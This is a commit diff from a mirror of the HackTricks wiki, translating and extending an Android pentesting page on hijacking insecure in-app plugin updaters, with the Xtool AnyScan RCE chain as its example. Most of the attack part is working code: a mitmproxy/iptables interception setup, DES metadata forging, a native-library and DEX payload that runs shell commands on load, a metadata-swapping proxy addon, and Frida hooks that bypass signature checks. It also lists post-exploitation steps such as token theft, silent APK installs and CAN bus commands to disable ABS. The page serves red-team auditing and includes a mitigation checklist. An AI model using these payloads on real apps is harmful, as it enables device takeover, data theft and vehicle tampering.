mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/mobile-pentesting/android-app-pentesting/insecure-in-ap
This commit is contained in:
		
							parent
							
								
									ce88affd7f
								
							
						
					
					
						commit
						10ee47dacd
					
				@ -1,16 +1,49 @@
 | 
			
		||||
# Mecanismos de Atualização Insegura em Aplicativos – Execução Remota de Código via Plugins Maliciosos
 | 
			
		||||
# Mecanismos Inseguros de Atualização In-App – Remote Code Execution via Malicious Plugins
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
Muitos aplicativos Android implementam seus **próprios canais de atualização de “plugin” ou “recurso dinâmico”** em vez de usar a Google Play Store. Quando a implementação é insegura, um atacante capaz de interceptar o tráfego pode fornecer **código nativo arbitrário que será carregado dentro do processo do aplicativo**, levando à execução remota de código (RCE) total no dispositivo – e em alguns casos em qualquer dispositivo externo controlado pelo aplicativo (carros, IoT, dispositivos médicos…).
 | 
			
		||||
Muitas aplicações Android implementam seus próprios canais de atualização “plugin” ou “dynamic feature” em vez de usar o Google Play Store. Quando a implementação é insegura, um atacante capaz de interceptar ou manipular o tráfego de atualização pode fornecer código nativo ou Dalvik/ART arbitrário que será carregado dentro do processo do app, levando a Remote Code Execution (RCE) completo no aparelho — e, em alguns casos, em qualquer dispositivo externo controlado pelo app (carros, IoT, dispositivos médicos …).
 | 
			
		||||
 | 
			
		||||
Esta página resume uma cadeia de vulnerabilidade do mundo real encontrada no aplicativo de diagnóstico automotivo Xtool **AnyScan** (v4.40.11 → 4.40.40) e generaliza a técnica para que você possa auditar outros aplicativos Android e transformar a má configuração em uma arma durante um engajamento de red team.
 | 
			
		||||
Esta página resume uma cadeia de vulnerabilidades real encontrada no app de diagnóstico automotivo Xtool AnyScan (v4.40.11 → 4.40.40) e generaliza a técnica para que você possa auditar outros apps Android e weaponise a má-configuração durante um red-team engagement.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
## 1. Identificando um TrustManager TLS Inseguro
 | 
			
		||||
## 0. Triagem rápida: o app tem um in‑app updater?
 | 
			
		||||
 | 
			
		||||
Dicas estáticas para procurar no JADX/apktool:
 | 
			
		||||
- Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
 | 
			
		||||
- Network endpoints like `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`.
 | 
			
		||||
- Crypto helpers near update paths (DES/AES/RC4; Base64; JSON/XML packs).
 | 
			
		||||
- Dynamic loaders: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`.
 | 
			
		||||
- Unzip paths writing under app-internal or external storage, then immediately loading a `.so`/DEX.
 | 
			
		||||
 | 
			
		||||
Runtime hooks to confirm:
 | 
			
		||||
```js
 | 
			
		||||
// Frida: log native and dex loading
 | 
			
		||||
Java.perform(() => {
 | 
			
		||||
const Runtime = Java.use('java.lang.Runtime');
 | 
			
		||||
const SystemJ = Java.use('java.lang.System');
 | 
			
		||||
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
 | 
			
		||||
 | 
			
		||||
SystemJ.load.overload('java.lang.String').implementation = function(p) {
 | 
			
		||||
console.log('[System.load] ' + p); return this.load(p);
 | 
			
		||||
};
 | 
			
		||||
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
 | 
			
		||||
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
 | 
			
		||||
};
 | 
			
		||||
Runtime.load.overload('java.lang.String').implementation = function(p){
 | 
			
		||||
console.log('[Runtime.load] ' + p); return this.load(p);
 | 
			
		||||
};
 | 
			
		||||
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
 | 
			
		||||
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
 | 
			
		||||
return this.$init(dexPath, optDir, libPath, parent);
 | 
			
		||||
};
 | 
			
		||||
});
 | 
			
		||||
```
 | 
			
		||||
---
 | 
			
		||||
## 1. Identificando um TrustManager TLS inseguro
 | 
			
		||||
 | 
			
		||||
1. Descompile o APK com jadx / apktool e localize a pilha de rede (OkHttp, HttpUrlConnection, Retrofit…).
 | 
			
		||||
2. Procure por um **`TrustManager`** ou `HostnameVerifier` personalizado que confia cegamente em todos os certificados:
 | 
			
		||||
2. Procure por um `TrustManager` ou `HostnameVerifier` customizado que confia cegamente em todos os certificados:
 | 
			
		||||
```java
 | 
			
		||||
public static TrustManager[] buildTrustManagers() {
 | 
			
		||||
return new TrustManager[]{
 | 
			
		||||
@ -22,24 +55,35 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
 | 
			
		||||
};
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
3. Se presente, o aplicativo aceitará **qualquer certificado TLS** → você pode executar um **proxy MITM** transparente com um certificado autoassinado:
 | 
			
		||||
3. Se presente, a aplicação aceitará qualquer certificado TLS → você pode executar um proxy MITM transparente com um self-signed cert:
 | 
			
		||||
```bash
 | 
			
		||||
mitmproxy -p 8080 -s addon.py  # see §4
 | 
			
		||||
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080  # on rooted device / emulator
 | 
			
		||||
```
 | 
			
		||||
## 2. Engenharia Reversa dos Metadados de Atualização
 | 
			
		||||
Se TLS pinning estiver aplicado em vez da lógica insegura trust-all, veja:
 | 
			
		||||
 | 
			
		||||
No caso do AnyScan, cada lançamento do aplicativo aciona um GET HTTPS para:
 | 
			
		||||
{{#ref}}
 | 
			
		||||
android-anti-instrumentation-and-ssl-pinning-bypass.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
make-apk-accept-ca-certificate.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
## 2. Reverse-Engineering dos Metadados de Atualização
 | 
			
		||||
 | 
			
		||||
No caso do AnyScan, cada inicialização do app aciona um HTTPS GET para:
 | 
			
		||||
```
 | 
			
		||||
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
 | 
			
		||||
```
 | 
			
		||||
O corpo da resposta é um **documento XML** cujos nós `<FileData>` contêm **JSON criptografado em DES-ECB e codificado em Base64** descrevendo cada plugin disponível.
 | 
			
		||||
O corpo da resposta é um documento XML cujos nós `<FileData>` contêm JSON criptografado em DES-ECB e codificado em Base64 que descreve cada plugin disponível.
 | 
			
		||||
 | 
			
		||||
Passos típicos de busca:
 | 
			
		||||
1. Localize a rotina de criptografia (por exemplo, `RemoteServiceProxy`) e recupere:
 | 
			
		||||
* algoritmo (DES / AES / RC4 …)
 | 
			
		||||
* modo de operação (ECB / CBC / GCM …)
 | 
			
		||||
* chave / IV codificados (frequentemente chaves DES de 56 bits ou chaves AES de 128 bits em constantes)
 | 
			
		||||
Etapas típicas de busca:
 | 
			
		||||
1. Localize a rotina criptográfica (por exemplo `RemoteServiceProxy`) e recupere:
 | 
			
		||||
- algoritmo (DES / AES / RC4 …)
 | 
			
		||||
- modo de operação (ECB / CBC / GCM …)
 | 
			
		||||
- chave/IV hard-coded (comumente constantes DES de 56‑bit ou AES de 128‑bit)
 | 
			
		||||
2. Reimplemente a função em Python para descriptografar / criptografar os metadados:
 | 
			
		||||
```python
 | 
			
		||||
from Crypto.Cipher import DES
 | 
			
		||||
@ -55,9 +99,17 @@ def encrypt_metadata(plaintext: bytes) -> str:
 | 
			
		||||
cipher = DES.new(KEY, DES.MODE_ECB)
 | 
			
		||||
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
 | 
			
		||||
```
 | 
			
		||||
## 3. Crie um Plugin Malicioso
 | 
			
		||||
Notas observadas no mundo real (2023–2025):
 | 
			
		||||
- Metadados frequentemente são JSON dentro de XML ou protobuf; cifras fracas e chaves estáticas são comuns.
 | 
			
		||||
- Muitos updaters aceitam HTTP simples para o download do payload mesmo que os metadados venham por HTTPS.
 | 
			
		||||
- Plugins frequentemente descompactam para o armazenamento interno do app; alguns ainda usam armazenamento externo ou o legado `requestLegacyExternalStorage`, permitindo adulteração entre apps.
 | 
			
		||||
 | 
			
		||||
1. Escolha qualquer plugin legítimo em formato ZIP e substitua a biblioteca nativa pelo seu payload:
 | 
			
		||||
---
 | 
			
		||||
## 3. Criar um Plugin Malicioso
 | 
			
		||||
 | 
			
		||||
### 3.1 Caminho da biblioteca nativa (dlopen/System.load[Library])
 | 
			
		||||
 | 
			
		||||
1. Escolha qualquer plugin ZIP legítimo e substitua a biblioteca nativa pelo seu payload:
 | 
			
		||||
```c
 | 
			
		||||
// libscan_x64.so – constructor runs as soon as the library is loaded
 | 
			
		||||
__attribute__((constructor))
 | 
			
		||||
@ -71,12 +123,37 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid(
 | 
			
		||||
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
 | 
			
		||||
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
 | 
			
		||||
```
 | 
			
		||||
2. Atualize os metadados JSON para que `"FileName" : "PWNED.zip"` e `"DownloadURL"` aponte para seu servidor HTTP.  
 | 
			
		||||
3. Encripte em DES + codifique em Base64 o JSON modificado e cole-o de volta dentro do XML interceptado.
 | 
			
		||||
2. Atualize os metadados JSON para que `"FileName" : "PWNED.zip"` e `"DownloadURL"` apontem para o seu servidor HTTP.
 | 
			
		||||
3. Re-encriptar + codificar em Base64 o JSON modificado e copiar de volta dentro do XML interceptado.
 | 
			
		||||
 | 
			
		||||
## 4. Entregue o Payload com mitmproxy
 | 
			
		||||
### 3.2 Caminho de plugin baseado em Dex (DexClassLoader)
 | 
			
		||||
 | 
			
		||||
`addon.py` exemplo que *silenciosamente* troca os metadados originais:
 | 
			
		||||
Alguns apps fazem download de um JAR/APK e carregam código via `DexClassLoader`. Construa um DEX malicioso que seja acionado ao carregar:
 | 
			
		||||
```java
 | 
			
		||||
// src/pwn/Dropper.java
 | 
			
		||||
package pwn;
 | 
			
		||||
public class Dropper {
 | 
			
		||||
static { // runs on class load
 | 
			
		||||
try {
 | 
			
		||||
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
 | 
			
		||||
} catch (Throwable t) {}
 | 
			
		||||
}
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
# Compile and package to a DEX jar
 | 
			
		||||
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
 | 
			
		||||
jar cf dropper.jar -C out/ .
 | 
			
		||||
d8 --output outdex/ dropper.jar
 | 
			
		||||
cd outdex && zip -r plugin.jar classes.dex  # the updater will fetch this
 | 
			
		||||
```
 | 
			
		||||
Se o alvo chamar `Class.forName("pwn.Dropper")`, seu inicializador estático será executado; caso contrário, enumere refletivamente as classes carregadas com Frida e chame um método exportado.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
## 4. Entregar o Payload com mitmproxy
 | 
			
		||||
 | 
			
		||||
`addon.py` exemplo que troca silenciosamente os metadados originais:
 | 
			
		||||
```python
 | 
			
		||||
from mitmproxy import http
 | 
			
		||||
MOD_XML = open("fake_metadata.xml", "rb").read()
 | 
			
		||||
@ -89,36 +166,69 @@ MOD_XML,
 | 
			
		||||
{"Content-Type": "text/xml"}
 | 
			
		||||
)
 | 
			
		||||
```
 | 
			
		||||
Execute um servidor web simples para hospedar o ZIP malicioso:
 | 
			
		||||
Execute um servidor web simples para hospedar o ZIP/JAR malicioso:
 | 
			
		||||
```bash
 | 
			
		||||
python3 -m http.server 8000 --directory ./payloads
 | 
			
		||||
```
 | 
			
		||||
Quando a vítima inicia o aplicativo, ele irá:
 | 
			
		||||
* buscar nosso XML forjado através do canal MITM;
 | 
			
		||||
* descriptografá-lo e analisá-lo com a chave DES codificada;
 | 
			
		||||
* baixar `PWNED.zip` → descompactar dentro do armazenamento privado;
 | 
			
		||||
* `dlopen()` a *libscan_x64.so* incluída, executando instantaneamente nosso código **com as permissões do aplicativo** (câmera, GPS, Bluetooth, sistema de arquivos, ...).
 | 
			
		||||
Quando a vítima iniciar o app, ele irá:
 | 
			
		||||
- buscar nosso XML forjado através do canal MITM;
 | 
			
		||||
- descriptografar e analisar com a crypto hard-coded;
 | 
			
		||||
- baixar `PWNED.zip` ou `plugin.jar` → descompactar no armazenamento privado;
 | 
			
		||||
- carregar o `.so` incluído ou DEX, executando instantaneamente nosso código com as permissões do app (câmera, GPS, Bluetooth, sistema de arquivos, …).
 | 
			
		||||
 | 
			
		||||
Como o plugin é armazenado em cache no disco, o backdoor **persiste entre reinicializações** e é executado toda vez que o usuário seleciona o recurso relacionado.
 | 
			
		||||
 | 
			
		||||
## 5. Ideias de Pós-Exploração
 | 
			
		||||
 | 
			
		||||
* Roubar cookies de sessão, tokens OAuth ou JWTs armazenados pelo aplicativo.
 | 
			
		||||
* Lançar um APK de segunda fase e instalá-lo silenciosamente via `pm install` (o aplicativo já possui `REQUEST_INSTALL_PACKAGES`).
 | 
			
		||||
* Abusar de qualquer hardware conectado – no cenário AnyScan, você pode enviar comandos **OBD-II / CAN bus** arbitrários (destrancar portas, desativar ABS, etc.).
 | 
			
		||||
Como o plugin é cacheado no disco, o backdoor persiste entre reinicializações e é executado sempre que o usuário seleciona a funcionalidade relacionada.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
### Lista de Verificação de Detecção e Mitigação (equipe azul)
 | 
			
		||||
## 4.1 Contornando verificações de assinatura/hash (quando presentes)
 | 
			
		||||
 | 
			
		||||
* NUNCA envie uma versão de produção com um TrustManager/HostnameVerifier personalizado que desabilite a validação de certificados.
 | 
			
		||||
* Não baixe código executável de fora do Google Play. Se você *precisar*, assine cada plugin com a mesma chave **apkSigning v2** e verifique a assinatura antes de carregar.
 | 
			
		||||
* Substitua criptografia fraca/codificada por **AES-GCM** e uma chave rotativa do lado do servidor.
 | 
			
		||||
* Valide a integridade dos arquivos baixados (assinatura ou pelo menos SHA-256).
 | 
			
		||||
Se o updater valida assinaturas ou hashes, aplique um hook na verificação para sempre aceitar o conteúdo do atacante:
 | 
			
		||||
```js
 | 
			
		||||
// Frida – make java.security.Signature.verify() return true
 | 
			
		||||
Java.perform(() => {
 | 
			
		||||
const Sig = Java.use('java.security.Signature');
 | 
			
		||||
Sig.verify.overload('[B').implementation = function(a) { return true; };
 | 
			
		||||
});
 | 
			
		||||
 | 
			
		||||
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
 | 
			
		||||
Java.perform(() => {
 | 
			
		||||
const Arrays = Java.use('java.util.Arrays');
 | 
			
		||||
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
 | 
			
		||||
});
 | 
			
		||||
```
 | 
			
		||||
Also consider stubbing vendor methods such as `PluginVerifier.verifySignature()`, `checkHash()`, or short‑circuiting update gating logic in Java or JNI.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
## Referências
 | 
			
		||||
## 5. Outras superfícies de ataque em atualizadores (2023–2025)
 | 
			
		||||
 | 
			
		||||
- [NowSecure – Execução Remota de Código Descoberta no Aplicativo Xtool AnyScan](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
 | 
			
		||||
- [Android – Padrões de TrustManager Inseguros](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
 | 
			
		||||
- Zip Slip path traversal while extracting plugins: malicious entries like `../../../../data/data/<pkg>/files/target` overwrite arbitrary files. Sempre saneie os caminhos das entradas e use listas de permissão.
 | 
			
		||||
- External storage staging: if the app writes the archive to external storage before loading, any other app can tamper with it. Scoped Storage or internal app storage avoids this.
 | 
			
		||||
- Cleartext downloads: metadata over HTTPS but payload over HTTP → straightforward MITM swap.
 | 
			
		||||
- Incomplete signature checks: comparing only a single file hash, not the whole archive; not binding signature to developer key; accepting any RSA key present in the archive.
 | 
			
		||||
- React Native / Web-based OTA content: if native bridges execute JS from OTA without strict signing, arbitrary code execution in the app context is possible (e.g., insecure CodePush-like flows). Ensure detached update signing and strict verification.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
## 6. Post-Exploitation Ideas
 | 
			
		||||
 | 
			
		||||
- Steal session cookies, OAuth tokens, or JWTs stored by the app.
 | 
			
		||||
- Drop a second-stage APK and silently install it via `pm install` if possible (some apps already declare `REQUEST_INSTALL_PACKAGES`).
 | 
			
		||||
- Abuse any connected hardware – in the AnyScan scenario you can send arbitrary OBD‑II / CAN bus commands (unlock doors, disable ABS, etc.).
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
### Detection & Mitigation Checklist (blue team)
 | 
			
		||||
 | 
			
		||||
- Avoid dynamic code loading and out‑of‑store updates. Prefer Play‑mediated updates. If dynamic plugins are a hard requirement, design them as data‑only bundles and keep executable code in the base APK.
 | 
			
		||||
- Enforce TLS properly: no custom trust‑all managers; deploy pinning where feasible and a hardened network security config that disallows cleartext traffic.
 | 
			
		||||
- Do not download executable code from outside Google Play. If you must, use detached update signing (e.g., Ed25519/RSA) with a developer‑held key and verify before loading. Bind metadata and payload (length, hash, version) and fail closed.
 | 
			
		||||
- Use modern crypto (AES‑GCM) with per‑message nonces for metadata; remove hard‑coded keys from clients.
 | 
			
		||||
- Validate integrity of downloaded archives: verify a signature that covers every file, or at minimum verify a manifest of SHA‑256 hashes. Reject extra/unknown files.
 | 
			
		||||
- Store downloads in app‑internal storage (or scoped storage on Android 10+) and use file permissions that prevent cross‑app tampering.
 | 
			
		||||
- Defend against Zip Slip: normalize and validate zip entry paths before extraction; reject absolute paths or `..` segments.
 | 
			
		||||
- Consider Play “Code Transparency” to allow you and users to verify that shipped DEX/native code matches what you built (compliments but does not replace APK signing).
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
## References
 | 
			
		||||
 | 
			
		||||
- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
 | 
			
		||||
- [Android Developers – Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user